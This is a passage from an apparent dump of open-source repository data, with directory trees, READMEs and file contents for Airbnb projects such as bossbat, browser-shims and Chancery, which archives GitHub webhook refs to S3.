System.clearProperty(\"aws.accessKeyId\");\n System.clearProperty(\"aws.secretKey\");\n }\n Main.log.debug(\"Loaded config: {}\", config);\n new Main(config);\n } catch (Throwable t) {\n Main.log.error(\"Failure in main thread, getting out!\", t);\n System.exit(1);\n }\n }\n\n private static void configureConnectors(Server server) {\n for (Connector c : server.getConnectors()) {\n for (ConnectionFactory f : c.getConnectionFactories())\n if (f instanceof HttpConnectionFactory) {\n final HttpConfiguration httpConf =\n ((HttpConnectionFactory) f).getHttpConfiguration();\n httpConf.setSendServerVersion(false);\n httpConf.setSendDateHeader(false);\n }\n }\n }\n}\n"} | null |
bossbat | {"type": "directory", "name": "bossbat", "children": [{"type": "file", "name": ".babelrc"}, {"type": "file", "name": ".eslintignore"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".npmignore"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "Bossbat.js"}, {"type": "file", "name": "index.js"}, {"type": "directory", "name": "__mocks__", "children": [{"type": "file", "name": "ioredis.js"}]}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "Bossbat.test.js"}, {"type": "file", "name": "index.test.js"}]}]}]} | # bossbat
_Stupid simple distributed job scheduling in node, backed by redis._
[![npm Version](https://img.shields.io/npm/v/bossbat.svg)](https://www.npmjs.com/package/bossbat)
[![License](https://img.shields.io/npm/l/bossbat.svg)](https://www.npmjs.com/package/bossbat)
[![Build Status](https://travis-ci.org/airbnb/bossbat.svg)](https://travis-ci.org/airbnb/bossbat)
[![Coverage Status](https://coveralls.io/repos/github/airbnb/bossbat/badge.svg?branch=master)](https://coveralls.io/github/airbnb/bossbat?branch=master)
Bossbat combines schedulers and workers into a single concept, which aligns better with most node applications.
All of the jobs run with a [redis lock](https://redis.io/topics/distlock), preventing more than once instance from performing a given job at a time.
## Usage
Bossbat is published on `npm`, and can be installed simply:
```shell
npm install bossbat --save
```
Or if you use Yarn in your project:
```shell
yarn add bossbat
```
You can then import the module and use it normally. For more details, see the [API documentation](#api).
```js
import Bossbat from 'bossbat';
// Make sure you name your variables clever things:
const fred = new Bossbat({
connection: {
host: '127.0.0.1',
port: 6379,
},
// Set the redis key prefix:
prefix: 'bossbat:',
});
// Hire for a job.
fred.hire('engineers', {
every: '10 minutes',
work: () => {
// Do something...
},
});
// Hire something as soon as possible:
fred.demand('engineers');
// You can also "qa" work:
fred.qa((jobName, jobDefinition, next) => {
return next();
});
// Fire a job, this will cancel any pending jobs:
fred.fire('engineers');
// Shut down our instance.
fred.quit();
```
## API
#### `new Bossbat(options: Object)`
Creates a new bossbat instance. All arguments are optional.
- `options.connection`: Used to configure the connection to your redis. This accepts the same arguments that [`ioredis`](https://github.com/luin/ioredis/blob/master/API.md#new_Redis_new) does.
- `options.prefix`: A string that all redis keys will be prefixed with. Defaults to `bossbat`.
- `options.ttl`: The number of milliseconds before a job times out. Setting it will change the maximum duration that jobs can hold a lock. By default, job locks will timeout if a job does not complete in 2000ms.
- `options.tz`: An optional timezone used with `jobDefinition.cron` expressions.
- `options.disableRedisConfig`: Disable usage of the redis `CONFIG` command,
as it might be disabled in certain redis configurations. NOTE: If this option
is used, the redis configuration should contain `notify-keyspace-events Ex`
#### `bossbat.hire(jobName: String, jobDefinition: Object)`
Schedules recurring work to be done.
- `jobName`: A unique name for the job.
- `jobDefinition`: The job definition can contain three properties: `work`, `every`, and `cron`.
- `jobDefinition.work`: A function that is invoked to perform the job. If the work is async, this function should return a promise to properly reflect the completion of the job.
- `jobDefinition.every`: A string which describes the interval the job will be run. This can either be a human-friendly string (which will be parsed by the [`timestring`](https://www.npmjs.com/package/timestring) module), or a number reflecting the milliseconds to wait between each job run.
- `jobDefinition.cron`: A string used to schedule work in more complex intervals. These are parsed with [`cron-parser`](https://www.npmjs.com/package/cron-parser).
It's possible to omit the `every` or `cron` properties if you don't wish to schedule recurring work, and just want to register a job.
#### `bossbat.demand(jobName: String)`
Runs a job as soon as possible, outside of the scheduled jobs. Demanded jobs still run with the same locking mechanism that scheduled jobs run with, ensuring only one instance runs the job at a time.
This does **not** prevent any scheduled jobs from running, unless the demand is running at the same time as a scheduled job and all instances fail to acquire a lock on the job.
#### `bossbat.qa(qaFunction: Function)`
QA is used to register functions that will be invoked any time a job is run. This function can be called multiple times to register multiple QA functions.
The passed `qaFunction` function will be called with `jobName`, and `jobDefinition` from the `hire` function, as well as a `next` function, which should be called when the QA function is complete.
The `next` function returns a promise that can be used to run code after a job is completed.
For example, here is what a time logging QA function might look like.
```js
bossbat.qa((jobName, jobDefinition, next) => {
const startTime = Date.now();
return next().then(() => {
const endTime = Date.now();
logToServer(`${jobName} completed in ${endTime - startTime}ms`);
})
});
```
#### `bossbat.fire(jobName: String)`
Cancels any _scheduled_ jobs with name `jobName`. This does **not** stop any demanded jobs from running.
#### `bossbat.quit()`
Shuts down a bossbat instance, closing all redis connections.
This does **not** cancel any scheduled work, and does not stop it from running in any other bossbat instances.
## How it works
Constructing a new bossbat instance sets up an expired key listener on your redis database.
When you `hire` for a new job, Bossbat sets a key in Redis that expire when the first run should occur.
When the key expires, the expired key listener is called and Bossbat does the following:
1. Attempt to get a lock to perform the work. Only one instance of bossbat will acquire the lock.
1. If the lock is acquired, then perform the work and move on.
2. If the lock is not acquired, then move on.
2. Schedule the next run of the job by setting a key that expires when the next run should occur.
It's worth noting that every instance of Bossbat attempts to schedule the next run of the job. This is okay because Redis will only schedule the first one that it receives, thanks to the `NX` option in `SET`.
Calling `demand` performs the same operation as `hire`, except with a special key for demands.
| {"package.json": "{\n \"name\": \"bossbat\",\n \"version\": \"1.2.0\",\n \"description\": \"Stupid simple distributed job scheduling in node, backed by redis.\",\n \"main\": \"lib/index.js\",\n \"scripts\": {\n \"prepublish\": \"npm run build\",\n \"build\": \"babel src --out-dir lib --copy-files\",\n \"test\": \"npm run lint && npm run tests-only\",\n \"lint\": \"eslint .\",\n \"tests-only\": \"jest\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/airbnb/bossbat.git\"\n },\n \"author\": \"Jordan Gensler <[email protected]>\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/bossbat/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/bossbat#readme\",\n \"devDependencies\": {\n \"babel-cli\": \"^6.18.0\",\n \"babel-jest\": \"^18.0.0\",\n \"babel-plugin-add-module-exports\": \"^0.2.1\",\n \"babel-preset-airbnb\": \"^2.1.1\",\n \"coveralls\": \"^2.11.15\",\n \"eslint\": \"^3.12.2\",\n \"eslint-config-airbnb-base\": \"^11.0.0\",\n \"eslint-plugin-import\": \"^2.2.0\",\n \"jest\": \"^18.0.0\"\n },\n \"dependencies\": {\n \"cron-parser\": \"^2.3.0\",\n \"ioredis\": \"^2.4.3\",\n \"redlock\": \"^2.1.0\",\n \"throwback\": \"^1.1.1\",\n \"timestring\": \"^3.2.0\"\n },\n \"jest\": {\n \"collectCoverage\": true,\n \"mocksPattern\": \"src/(?:[\\\\/]|^)__mocks__[\\\\/]\",\n \"testPathIgnorePatterns\": [\n \"/node_modules/\",\n \"<rootDir>/lib/\"\n ]\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "src\\index.js": "import Bossbat from './Bossbat';\n\nexport default Bossbat;\n", "src\\__tests__\\index.test.js": "/* eslint-env jest */\n\nimport Bossbat from '../index';\n\nconst BossbatCJS = require('../index');\n\ndescribe('index', () => {\n it('exports for commonJS and ES modules', () => {\n expect(Bossbat).toEqual(BossbatCJS);\n });\n});\n"} | null |
browser-shims | {"type": "directory", "name": "browser-shims", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".npmrc"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "browser-only.js"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "document-contains.js"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "file", "name": "index.js"}]}]} | # airbnb-browser-shims <sup>[![Version Badge][2]][1]</sup>
Browser and JS language shims used by Airbnb.
Just require/import `airbnb-browser-shims`, and the environment will be shimmed.
```js
import 'airbnb-browser-shims';
```
## Included shims
- JS language shims from [airbnb-js-shims](https://github.com/airbnb/js-shims)
- [ima-babel6-polyfill](https://www.npmjs.com/package/ima-babel6-polyfill) - fixes Babel 6 bugs with `super` calls in IE 9 and 10
- [document.contains](https://developer.mozilla.org/en/docs/Web/API/Node/contains)
- [classlist-polyfill](https://www.npmjs.com/package/classlist-polyfill) - Element.prototype.classList polyfill (only in browsers)
- [raf](https://www.npmjs.com/package/raf) - requestAnimationFrame polyfill for browsers and node
- [requestIdleCallback](https://www.npmjs.com/package/ric-shim)
- [matchmedia-polyfill](https://github.com/paulirish/matchMedia.js/) - window.matchMedia polyfill (only in browsers)
- [whatwg-fetch](https://github.com/github/fetch) - fetch polyfill (only in browsers, supports IE9+)
- [shim-keyboard-event-key](https://github.com/shvaikalesh/shim-keyboard-event-key) - KeyboardEvent.key shim
- `TouchList[Symbol.iterator]` - when `Symbol` and `TouchList` are both present
- [element-closest](https://npmjs.com/element-closest) - Element.prototype.closest polyfill (only in browsers)
- [smoothscroll-polyfill](https://www.npmjs.com/package/smoothscroll-polyfill) - Scroll behavior specification polyfill (only in browsers)
- [window-location-origin](https://www.npmjs.com/package/window-location-origin) - window.location.origin (for IE < 11)
- [input-placeholder-polyfill](https://www.npmjs.com/package/input-placeholder-polyfill) - input placeholder polyfill (for IE < 10)
- [intersection-observer](https://github.com/w3c/IntersectionObserver/tree/master/polyfill) - IntersectionObserver (only in browsers)
## Only browser shims
If you only want to bring in the browser shims and not the JS language shims
(from `airbnb-js-shims`), you can import `airbnb-browser-shims/browser-only`. If
you choose this route, you will want to be sure that you are properly bringing
in the language shims for the browsers you support somehow. For example:
```js
import 'airbnb-js-shims/target/es2015';
import 'airbnb-browser-shims/browser-only';
```
[1]: https://npmjs.org/package/airbnb-browser-shims
[2]: http://versionbadg.es/airbnb/browser-shims.svg
| {"index.js": "'use strict';\n\n/* eslint global-require: 0 */\n\nrequire('airbnb-js-shims');\n\nrequire('./browser-only');\n", "package.json": "{\n \"name\": \"airbnb-browser-shims\",\n \"version\": \"3.3.0\",\n \"description\": \"Browser and JS shims used by Airbnb.\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"prepublish\": \"safe-publish-latest\",\n \"lint\": \"eslint .\",\n \"pretest\": \"npm run lint\",\n \"test\": \"npm run tests-only\",\n \"tests-only\": \"node test\",\n \"posttest\": \"npx aud\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git://github.com/airbnb/browser-shims.git\"\n },\n \"keywords\": [\n \"shims\",\n \"polyfills\"\n ],\n \"author\": \"Jordan Harband <[email protected]>\",\n \"license\": \"MIT\",\n \"dependencies\": {\n \"airbnb-js-shims\": \"^2.1.1\",\n \"classlist-polyfill\": \"^1.2.0\",\n \"console-polyfill\": \"^0.3.0\",\n \"document.contains\": \"^1.0.0\",\n \"element-closest\": \"^2.0.2\",\n \"focus-visible\": \"^5.0.2\",\n \"ima-babel6-polyfill\": \"^0.12.0\",\n \"input-placeholder-polyfill\": \"^1.0.0\",\n \"intersection-observer\": \"^0.5.1\",\n \"matchmedia-polyfill\": \"^0.3.1\",\n \"raf\": \"^3.4.1\",\n \"ric-shim\": \"^1.0.0\",\n \"shim-keyboard-event-key\": \"^1.0.3\",\n \"smoothscroll-polyfill\": \"^0.3.6\",\n \"whatwg-fetch\": \"^0.11.1\",\n \"window-location-origin\": \"^0.1.0\"\n },\n \"devDependencies\": {\n \"eslint\": \"^5.15.1\",\n \"eslint-config-airbnb-base\": \"^13.1.0\",\n \"eslint-plugin-import\": \"^2.16.0\",\n \"safe-publish-latest\": \"^1.1.2\",\n \"tape\": \"^4.10.1\"\n },\n \"publishConfig\": {\n \"access\": \"public\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "test\\index.js": "'use strict';\n\n// var test = require('tape');\n\nrequire('../');\n"} | null |
chancery | {"type": "directory", "name": "chancery", "children": [{"type": "file", "name": "LICENSE.txt"}, {"type": "file", "name": "pom.xml"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "chancery", "children": [{"type": "file", "name": "CallbackResource.java"}, {"type": "file", "name": "ChanceryConfig.java"}, {"type": "file", "name": "ChanceryService.java"}, {"type": "file", "name": "FilteringSubscriber.java"}, {"type": "directory", "name": "github", "children": [{"type": "file", "name": "AuthorizationFilter.java"}, {"type": "file", "name": "GithubAuthChecker.java"}, {"type": "file", "name": "GithubClient.java"}, {"type": "file", "name": "UserAgentFilter.java"}]}, {"type": "file", "name": "GithubClientHealthCheck.java"}, {"type": "file", "name": "GithubFailure.java"}, {"type": "directory", "name": "model", "children": [{"type": "file", "name": "CallbackPayload.java"}, {"type": "file", "name": "Commit.java"}, {"type": "file", "name": "Entity.java"}, {"type": "file", "name": "RateLimitStats.java"}, {"type": "file", "name": "ReferenceCreationRequest.java"}, {"type": "file", "name": "Repository.java"}]}, {"type": "file", "name": "PayloadExpressionEvaluator.java"}, {"type": "file", "name": "RefFilter.java"}, {"type": "file", "name": "RefLogger.java"}, {"type": "file", "name": "RefLoggerConfig.java"}, {"type": "file", "name": "S3Archiver.java"}, {"type": "file", "name": "S3ArchiverConfig.java"}, {"type": "file", "name": "S3ClientHealthCheck.java"}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "banner.txt"}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "chancery", "children": [{"type": "file", "name": "StupidDeserializationTest.java"}, {"type": "file", "name": "StupidRateLimitTest.java"}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "example.json"}]}]}]}]} | # Welcome to Chancery #
**As-is:** This project is not actively maintained or supported.
While updates may still be made and we welcome feedback, keep in mind we may not respond to pull requests or issues quickly.
**Let us know!** If you fork this, or if you use it, or if it helps in anyway, we'd love to hear from you! [email protected]
Chancery hears when you push to Github, and allows you to…
- **Deploy when github is down!**
Chancery can send gzip'ped tarballs of your references of choice to an S3 bucket.
- **Keep track of your branches history!** Even when Pierre force-pushed to `master`!
A `reflog` for Github, more or less.
*Gratefully based on Java 7, Dropwizard, AWS SDK, MVEL2, Joda Time and lombok.*
**Table of Contents**
- [What it does](#what-it-does)
- [Set it up (one-time operation)](#set-it-up-one-time-operation)
- [Prepare credentials](#prepare-credentials)
- [Github](#github)
- [AWS (only if you want S3 tarballs)](#aws-only-if-you-want-s3-tarballs)
- [Build it](#build-it)
- [Write a configuration file](#write-a-configuration-file)
- [Run it](#run-it)
- [Monitor it](#monitor-it)
- [Install a web hook (needed for every repository)](#install-a-web-hook-needed-for-every-repository)
- [Contribute](#contribute)
- [Local development](#local-development)
## What it does ##
Whenever someone updates a reference (tag, branch, etc.) in a monitored repository,
Github lets Chancery know through a web hook. If Github sent the right secret,
Chancery will do its magic.
You can configure a few backends, each of them have their own configuration.
They usually start by trying to match `$REPO_URI:$REF` against their `refFilter`
regular expression. This provides a limited but simple way to specify which branches
and/or tags of which repositories should be acted upon.
- For S3 tarballs, the web hook message is passed to the `keyTemplate` template.
This template turns it into an "object key", which you can think of
as the path of the tarball in your bucket.
If the update deleted the reference, we delete the corresponding object;
if the update changed the commit the reference points to, we let Github
bake us a fresh gzip'ped tarball then put it there.
- For ref logs, the web hook message is passed to the `refTemplate` template,
and the resulting target reference is created.
**A few more things** to note before we get started:
1. References are always in their canonical form:
a `v1.0` tag is `refs/tags/v1.0`,
a `feature/cleartextpasswd` branch is `refs/heads/feature/cleartextpasswd`.
2. The secret mechanism relies on a SHA1 HMAC and allows secure authentication of Github.
HTTPS is however needed to hide the web hook payload from passive observers,
and for protection against replay attacks.
3. Templates are all MVEL 2 string templates.
Please look at their [templating guide](http://mvel.codehaus.org/MVEL+2.0+Templating+Guide)
for the syntax.
A lot of information from the hook is usable there; please look at the sources
of `CallbackPayload` or the Chancery debug logs.
We added a `timestamp` attribute that matches when Chancery received the callback,
and Joda Time's `ISODateTimeFormat` class is exposed as `iso`, `DateTimeFormat` as `dtf`.
## Set it up (one-time operation) ##
### Prepare credentials ###
#### Github ####
1. Create an `acme-chancery` github user.
2. Create an oAuth2 token for that user, keep it around:
$ curl \
--silent --fail \
--request POST \
--user 'acme-chancery:password123' \
-H 'Content-Type: application/json' \
--data '{ "scopes": ["repo"], "note": "chancery" }' \
https://api.github.com/authorizations
{
[...]
"token": "1234567890abcdef1234567890abcdef12345678",
[...]
}
3. Give the bot access to the repositories. We suggest using a team.
"Pull-only" is enough for S3 tarballs, but "Push & Pull" is needed for reflogs.
#### AWS (only if you want S3 tarballs) ####
1. Create an AMI user, keep its Access Key Id and Secret Access Key around.
2. Attach a user policy to it:
{"Statement":[{
"Action": ["s3:*"],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::deployment.acme.com/repos/*",
"arn:aws:s3:::archive.acme.com/repos/*"
]
}]}
### Build it ###
You'll need Java 7 and a recent version of Maven (only tested with Maven 3).
$ mvn package; ls -l target/chancery-1.0-SNAPSHOT.jar
### Write a configuration file ###
Dropwizard comes with many options, please refer to their documentation and
[commented example](https://github.com/codahale/dropwizard/blob/master/dropwizard-example/example.yml).
Here is an example for our story:
# Defaults to 16
handlerThreads: 32
# Required
githubOauth2Token: 1234567890abcdef1234567890abcdef12345678
# Optional. You get to pick it, so we did:
githubSecret: 'airbnb <3 github :)'
# Required for S3 tarballs
awsAccessKeyID: XXXXXXXXXXXXXXXXXXXX
awsSecretKey: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
s3Archives:
- refFilter: https://github\.com/acme/project-(manhattan|brooklyn):refs/heads/prod/.*
bucketName: deployment.acme.com
keyTemplate: repos/@{repository.name}/@{ref}
- refFilter: https://github\.com/acme/.*:refs/(heads/prod|tags)/.*
bucketName: archive.acme.com
keyTemplate: repos/@{repository.name}/@{ref}:@{timestamp}
refLogs:
- refFilter: https://github\.com/acme/.*:refs/(heads|tags)
refTemplate: 'refs/history/@{ref.substring(5)}/@{dtf.forPattern("yyyy/MM/dd/HH/mm/ss").print(timestamp)}'
# Github can be very slow.
githubHttpConfig:
timeout: 20s
connectionTimeout: 10s
maxConnectionsPerRoute: 16
keepAlive: 60s
# Github's nginx servers require this (or you'll get 411)
gzipEnabledForRequests: false
# Log ALL before opening an issue please
logging:
console:
enabled: true
threshold: ALL
### Run it ###
You'll need Java 7, the `chancery-2.0-SNAPSHOT.jar` überjar and a configuration
file.
$ java -jar chancery-2.0-SNAPSHOT.jar server /etc/chancery.yml
### Monitor it ###
The various monitoring endpoints are listed on the admin port (8081 by default).
You'll a few basic health checks in `/healthcheck` and
a bunch of metrics in `/metrics?pretty`;
feel free to suggest more.
Please remember that the metrics are JMX-friendly;
the Dropwizard documentation is yet again of great help.
## Install a web hook (needed for every repository) ##
You'll need to create the Github web hooks with your own user, as the
`acme-chancery` doesn't have sufficient rights.
$ curl \
--silent --fail \
--request POST \
--user 'acme-root:god' \
-H 'Content-Type: application/json' \
--data '{
"name": "web",
"active": true,
"config": {
"content_type": "json",
"secret": "airbnb <3 github :)",
"url": "https://chancery.ewr.corp.acme.com/callback"
}
}' \
https://api.github.com/repos/acme/project-manhattan/hooks
Then verify that the Chancery configuration file, in particular `refPattern`,
matches your particular needs.
## Contribute ##
Open issues, send pull requests, share your love with
[@AirbnbNerds](https://twitter.com/AirbnbNerds) on Twitter!
### Code? ###
1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Add yourself to the contributors in `pom.xml`
4. Commit your changes (`git commit -am 'Add some feature'`)
5. Push to the branch (`git push origin my-new-feature`)
6. Create new Pull Request
### Local development ###
Live-testing Github callbacks from your development machine could be a bit painful.
Here is a trick.
- On your publicly-accessible `server.acme.com`, make sure you allow gateway ports:
Match User johndoe
GatewayPorts yes
Restart `sshd` if needed.
- From your laptop, run:
laptop$ ssh -vNR 9000:localhost:8080 server.acme.com
Note that the `9000` port needs to be reachable from the outside on
`server.acme.com`, but you do not need to open your laptop firewall as
connections will come through the loopback interface.
- On your laptop, fire up a logging HTTP server, check that it receives requests:
$ python -mSimpleHTTPServer 8080 &
[1] 32430
Serving HTTP on 0.0.0.0 port 8080 ...
$ curl -sf http://server.acme.com:9000/ >/dev/null
127.0.0.1 - - [29/Apr/2013 02:08:48] "GET / HTTP/1.1" 200 -
$ kill %%
- You can now ask Github to send callbacks to `http://server.acme.com:9000/`.
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
chronon | {"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": ".circleci", "children": [{"type": "file", "name": "config.yml"}, {"type": "file", "name": "Dockerfile"}]}, {"type": "file", "name": ".scalafmt.conf"}, {"type": "directory", "name": "aggregator", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "aggregator", "children": [{"type": "directory", "name": "base", "children": [{"type": "file", "name": "ArrayUtils.scala"}, {"type": "file", "name": "BaseAggregator.scala"}, {"type": "file", "name": "MinHeap.scala"}, {"type": "file", "name": "SimpleAggregators.scala"}, {"type": "file", "name": "TimedAggregators.scala"}]}, {"type": "directory", "name": "row", "children": [{"type": "file", "name": "BucketedColumnAggregator.scala"}, {"type": "file", "name": "ColumnAggregator.scala"}, {"type": "file", "name": "DirectColumnAggregator.scala"}, {"type": "file", "name": "MapColumnAggregator.scala"}, {"type": "file", "name": "MapColumnAggregatorBase.scala"}, {"type": "file", "name": "RowAggregator.scala"}, {"type": "file", "name": "StatsGenerator.scala"}]}, {"type": "directory", "name": "windowing", "children": [{"type": "file", "name": "HopsAggregator.scala"}, {"type": "file", "name": "Resolution.scala"}, {"type": "file", "name": "SawtoothAggregator.scala"}, {"type": "file", "name": "SawtoothMutationAggregator.scala"}, {"type": "file", "name": "SawtoothOnlineAggregator.scala"}, {"type": "file", "name": "TsUtils.scala"}, {"type": "file", "name": "TwoStackLiteAggregationBuffer.scala"}, {"type": "file", "name": "TwoStackLiteAggregator.scala"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "aggregator", "children": [{"type": "directory", "name": "test", "children": [{"type": "file", "name": "ApproxDistinctTest.scala"}, {"type": "file", "name": "ApproxHistogramTest.scala"}, {"type": "file", "name": "ApproxPercentilesTest.scala"}, {"type": "file", "name": "DataGen.scala"}, {"type": "file", "name": "FrequentItemsTest.scala"}, {"type": "file", "name": "MinHeapTest.scala"}, {"type": "file", "name": "MomentTest.scala"}, {"type": "file", "name": "NaiveAggregator.scala"}, {"type": "file", "name": "RowAggregatorTest.scala"}, {"type": "file", "name": "SawtoothAggregatorTest.scala"}, {"type": "file", "name": "SawtoothOnlineAggregatorTest.scala"}, {"type": "file", "name": "TwoStackLiteAggregatorTest.scala"}, {"type": "file", "name": "VarianceTest.scala"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "airflow", "children": [{"type": "file", "name": "constants.py"}, {"type": "file", "name": "decorators.py"}, {"type": "file", "name": "group_by_dag_constructor.py"}, {"type": "file", "name": "helpers.py"}, {"type": "file", "name": "join_dag_constructor.py"}, {"type": "file", "name": "online_offline_consistency_dag_constructor.py"}, {"type": "file", "name": "operators.py"}, {"type": "file", "name": "readme.md"}, {"type": "file", "name": "staging_query_dag_constructor.py"}]}, {"type": "directory", "name": "api", "children": [{"type": "directory", "name": "py", "children": [{"type": "file", "name": ".coveragerc"}, {"type": "file", "name": ".pre-commit-config.yaml"}, {"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "file", "name": "external_api.py"}, {"type": "file", "name": "group_by.py"}, {"type": "file", "name": "join.py"}, {"type": "file", "name": "logger.py"}, {"type": "file", "name": "query.py"}, {"type": "directory", "name": "repo", "children": [{"type": "file", "name": "compile.py"}, {"type": "file", "name": "dependency_tracker.py"}, {"type": "file", "name": "explore.py"}, {"type": "file", "name": "extract_objects.py"}, {"type": "file", "name": "join_backfill.py"}, {"type": "file", "name": "run.py"}, {"type": "file", "name": "serializer.py"}, {"type": "file", "name": "teams.py"}, {"type": "file", "name": "validator.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "scheduler", "children": [{"type": "directory", "name": "adapters", "children": [{"type": "file", "name": "airflow_adapter.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "interfaces", "children": [{"type": "file", "name": "flow.py"}, {"type": "file", "name": "node.py"}, {"type": "file", "name": "orchestrator.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "utils.py"}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "__init__.py"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "MANIFEST.in"}, {"type": "file", "name": "python-api-build.sh"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "requirements", "children": [{"type": "file", "name": "base.in"}, {"type": "file", "name": "base.txt"}, {"type": "file", "name": "dev.in"}, {"type": "file", "name": "dev.txt"}]}, {"type": "file", "name": "setup.py"}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "conftest.py"}, {"type": "directory", "name": "sample", "children": [{"type": "directory", "name": "data", "children": [{"type": "file", "name": "checkouts.csv"}, {"type": "file", "name": "purchases.csv"}, {"type": "file", "name": "returns.csv"}, {"type": "file", "name": "users.csv"}]}, {"type": "directory", "name": "group_bys", "children": [{"type": "directory", "name": "kaggle", "children": [{"type": "file", "name": "clicks.py"}, {"type": "file", "name": "outbrain.py"}]}, {"type": "directory", "name": "quickstart", "children": [{"type": "file", "name": "purchases.py"}, {"type": "file", "name": "returns.py"}, {"type": "file", "name": "schema.py"}, {"type": "file", "name": "users.py"}]}, {"type": "directory", "name": "sample_team", "children": [{"type": "file", "name": "entity_sample_group_by_from_module.py"}, {"type": "file", "name": "event_sample_group_by.py"}, {"type": "file", "name": "group_by_with_kwargs.py"}, {"type": "file", "name": "mutation_sample_group_by.py"}, {"type": "file", "name": "sample_chaining_group_by.py"}, {"type": "file", "name": "sample_deprecation_group_by.py"}, {"type": "file", "name": "sample_group_by.py"}, {"type": "file", "name": 